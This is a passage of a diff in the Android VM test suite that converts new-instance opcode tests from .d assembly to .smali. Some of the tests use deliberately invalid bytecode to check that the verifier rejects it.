-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_10.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       new-instance v6, java/lang/String
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.smali
new file mode 100644
index 0000000..8a1ffc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_10.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       new-instance v6, Ljava/lang/String;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.d
deleted file mode 100644
index 0506be0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_11.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       const v4, 5
-       goto LabelEntry
-
-LabelBwd:
-       invoke-virtual {v1}, java/lang/Object/hashCode()I
-
-LabelEntry:
-       new-instance v1, java/lang/Integer
-
-       add-int/lit8 v4, v4, -1
-       if-nez v4, LabelBwd
-
-       invoke-direct {v1, v4}, java/lang/Integer/<init>(I)V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.smali
new file mode 100644
index 0000000..fc948bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_11.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       const v4, 5
+       goto :LabelEntry
+
+:LabelBwd
+       invoke-virtual {v1}, Ljava/lang/Object;->hashCode()I
+
+:LabelEntry
+       new-instance v1, Ljava/lang/Integer;
+
+       add-int/lit8 v4, v4, -1
+       if-nez v4, :LabelBwd
+
+       invoke-direct {v1, v4}, Ljava/lang/Integer;-><init>(I)V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.d
deleted file mode 100644
index e4b025e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_12.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-    const v0, 0
-Label1:
-    new-instance v1,        java/lang/Integer
-    if-nez v0, INIT
-    move-object v2, v1
-    const v0, 1
-    goto Label1
-INIT:
-        
-    invoke-direct {v1, v0}, java/lang/Integer/<init>(I)V
-    invoke-virtual {v2}, java/lang/Integer/toString()Ljava/lang/String;
-
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.smali
new file mode 100644
index 0000000..17bda09
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_12.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+    const v0, 0
+:Label1
+    new-instance v1,        Ljava/lang/Integer;
+    if-nez v0, :INIT
+    move-object v2, v1
+    const v0, 1
+    goto :Label1
+:INIT
+        
+    invoke-direct {v1, v0}, Ljava/lang/Integer;-><init>(I)V
+    invoke-virtual {v2}, Ljava/lang/Integer;->toString()Ljava/lang/String;
+
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.smali
new file mode 100644
index 0000000..9548082
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/new_instance/d/T_new_instance_2;
+.super Ljava/lang/Object;
+.source "T_new_instance_2.java"
+
+
+# instance fields
+.field i:I
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()I
+    .registers 5
+
+    new-instance v0, Ldot/junit/opcodes/new_instance/d/T_new_instance_2;
+#    invoke-direct {v0}, Ldot/junit/opcodes/new_instance/d/T_new_instance_2;-><init>()V
+
+    iget v1, v0, Ldot/junit/opcodes/new_instance/d/T_new_instance_2;->i:I
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.d
deleted file mode 100644
index f6cd6fe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_3.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_3
-.super java/lang/Object
-
-.field static i I
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/16 v0, 123
-       const/4 v1, 0
-       div-int/lit8 v0, v0, 0
-       sput v0, dot.junit.opcodes.new_instance.d.T_new_instance_3.i I
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-Label5:
-       return-void
-.end method
-
-.method public static run()I
-.limit regs 4
-
-       new-instance v1, dot/junit/opcodes/new_instance/d/T_new_instance_3
-       invoke-direct {v1}, dot/junit/opcodes/new_instance/d/T_new_instance_3/<init>()V
-
-       sget v1, dot.junit.opcodes.new_instance.d.T_new_instance_3.i I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.java b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.java
index dd8bb15..3b85b03 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.java
@@ -18,6 +18,7 @@
 
 public class T_new_instance_3 {
 
+    @SuppressWarnings("ConstantOverflow")
     static int i = 123 / 0;
 
     public static int run() {
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.smali
new file mode 100644
index 0000000..089f733
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.smali
@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_3.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_3;
+.super  Ljava/lang/Object;
+
+.field static i:I
+
+.method static constructor <clinit>()V
+.registers 2
+
+       const/16 v0, 123
+       const/4 v1, 0
+       div-int/lit8 v0, v0, 0
+       sput v0, Ldot/junit/opcodes/new_instance/d/T_new_instance_3;->i:I
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+:Label5
+       return-void
+.end method
+
+.method public static run()I
+.registers 4
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/d/T_new_instance_3;
+       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/d/T_new_instance_3;-><init>()V
+
+       sget v1, Ldot/junit/opcodes/new_instance/d/T_new_instance_3;->i:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.d
deleted file mode 100644
index a92c597..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_4.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 5
-
-       new-instance v1, dot/junit/opcodes/new_instance/TestStubs
-;       invoke-direct {v1}, dot/junit/opcodes/new_instance/TestStubs/<init>()V
-; intentionally return v4 ("this")    
-       return-object v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.smali
new file mode 100644
index 0000000..9b33f92
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_4.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/TestStubs;
+#       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/TestStubs;-><init>()V
+# intentionally return v4 ("this")    
+       return-object v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.d
deleted file mode 100644
index 4651f6a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_5.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 5
-
-       new-instance v1, dot/junit/opcodes/new_instance/Test_new_instanceNNNNN
-;       invoke-direct {v1}, dot/junit/opcodes/new_instance/TTestClass/<init>()V
-; intentionally return v4 ("this")    
-       return-object v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.smali
new file mode 100644
index 0000000..0a8cf4e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_5.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/Test_new_instanceNNNNN;
+#       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/TTestClass;-><init>()V
+# intentionally return v4 ("this")    
+       return-object v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.d
deleted file mode 100644
index 0565aea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_6.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 6
-
-       new-instance v1, java/lang/String
-       const-string v3, "abc"
-       invoke-direct {v1, v3}, java/lang/String/<init>(Ljava/lang/String;)V
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.smali
new file mode 100644
index 0000000..6dccada
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_6.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 6
+
+       new-instance v1, Ljava/lang/String;
+       const-string v3, "abc"
+       invoke-direct {v1, v3}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.d
deleted file mode 100644
index f2e7fcf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_7.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       new-instance v1, [Ljava/lang/Object;
-; intentionally return v2 ("this")           
-       return-object v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.smali
new file mode 100644
index 0000000..6cc2a19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_7.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       new-instance v1, [Ljava/lang/Object;
+# intentionally return v2 ("this")           
+       return-object v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.d
deleted file mode 100644
index f474fe9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_8.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 5
-
-       new-instance v1, dot/junit/opcodes/new_instance/d/TestInterface
-;       invoke-direct {v1}, dot/junit/opcodes/new_instance/d/TestInterface/<init>()V
-; intentionally return v4 ("this")    
-       return-object v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.smali
new file mode 100644
index 0000000..bb2818a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_8.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/d/TestInterface;
+#       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/d/TestInterface;-><init>()V
+# intentionally return v4 ("this")    
+       return-object v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.d
deleted file mode 100644
index 7af9f46..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_9.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-Label5:
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 5
-
-       new-instance v1, dot/junit/opcodes/new_instance/d/TestAbstractClass
-;       invoke-direct {v1}, dot/junit/opcodes/new_instance/d/TestAbstractClass/<init>()V
-; intentionally return v4 ("this")    
-       return-object v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.smali
new file mode 100644
index 0000000..cc06091
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_9.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+:Label5
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/d/TestAbstractClass;
+#       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/d/TestAbstractClass;-><init>()V
+# intentionally return v4 ("this")    
+       return-object v4
+.end method
+
+
